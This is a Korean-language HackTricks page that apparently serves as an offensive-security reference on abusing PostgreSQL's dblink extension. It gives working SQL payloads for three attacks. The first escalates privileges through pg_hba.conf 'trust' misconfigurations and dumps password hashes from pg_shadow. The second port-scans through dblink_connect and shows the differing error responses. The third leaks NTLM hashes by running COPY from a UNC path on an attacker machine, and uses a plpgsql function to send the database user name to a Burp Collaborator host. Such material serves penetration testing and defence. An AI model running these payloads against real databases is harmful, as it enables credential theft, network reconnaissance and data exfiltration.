๋„คํŠธ์›Œํฌ - ๊ถŒํ•œ ์ƒ์Šน, ํฌํŠธ ์Šค์บ๋„ˆ ๋ฐ NTLM ์ฑŒ๋ฆฐ์ง€ ์‘๋‹ต ๋ˆ„์ถœ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์›๋ณธ ๋ฌธ์„œ์—์„œ ์ด ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์œผ์„ธ์š”.

PostgreSQL 9.1๋ถ€ํ„ฐ ์ถ”๊ฐ€ ๋ชจ๋“ˆ ์„ค์น˜๊ฐ€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ๋“ฑ๋ก๋œ ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์ธ dblink๋Š” CREATE EXTENSION์œผ๋กœ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

CREATE EXTENSION dblink;

dblink์ด ๋กœ๋“œ๋˜๋ฉด ๋ช‡ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ํŠธ๋ฆญ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๊ถŒํ•œ ์ƒ์Šน

ํŒŒ์ผ pg_hba.conf๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ ํ•„์š” ์—†์ด ๋ชจ๋“  ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ localhost์˜ ์—ฐ๊ฒฐ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ ์ผ๋ฐ˜์ ์œผ๋กœ /etc/postgresql/12/main/pg_hba.conf์— ์œ„์น˜ํ•˜๋ฉฐ, ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

local    all    all    trust

์ด ๊ตฌ์„ฑ์€ ๊ด€๋ฆฌ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žŠ์–ด๋ฒ„๋ ธ์„ ๋•Œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ, ๋•Œ๋•Œ๋กœ ์ด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ pg_hba.conf ํŒŒ์ผ์€ postgres ์‚ฌ์šฉ์ž์™€ ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, postgres ์‚ฌ์šฉ์ž๋งŒ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ๋Š” ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค ์ด๋ฏธ ํ”ผํ•ด์ž ๋‚ด๋ถ€์— ์‰˜์ด ์žˆ๋Š” ๊ฒฝ์šฐ๋กœ, postgresql ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ๊ฐ€๋Šฅํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

host    all     all     127.0.0.1/32    trust

๋กœ์ปฌํ˜ธ์ŠคํŠธ์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
์ด ๊ฒฝ์šฐ dblink ํ•จ์ˆ˜๊ฐ€ ์ž‘๋™ํ•˜๋ฉด, ์ด๋ฏธ ์„ค์ •๋œ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•จ์œผ๋กœ์จ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

ํฌํŠธ ์Šค์บ๋‹

dblink_connect๋ฅผ ์•…์šฉํ•˜์—ฌ ์—ด๋ ค ์žˆ๋Š” ํฌํŠธ๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ **๊ธฐ๋Šฅ์ด ์ž‘๋™ํ•˜์ง€ ์•Š์œผ๋ฉด ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด dblink_connect_u()๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. dblink_connect_u()๋Š” dblink_connect()์™€ ๋™์ผํ•˜์ง€๋งŒ, ๋น„์Šˆํผ์œ ์ €๊ฐ€ ์–ด๋–ค ์ธ์ฆ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ๋„ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

๋‹ค์Œ ์‚ฌํ•ญ์— ์œ ์˜ํ•˜์„ธ์š”. dblink_connect ๋˜๋Š” dblink_connect_u๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์ „์— ๋‹ค์Œ์„ ์‹คํ–‰ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

CREATE extension dblink;

UNC ๊ฒฝ๋กœ - NTLM ํ•ด์‹œ ์œ ์ถœ

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ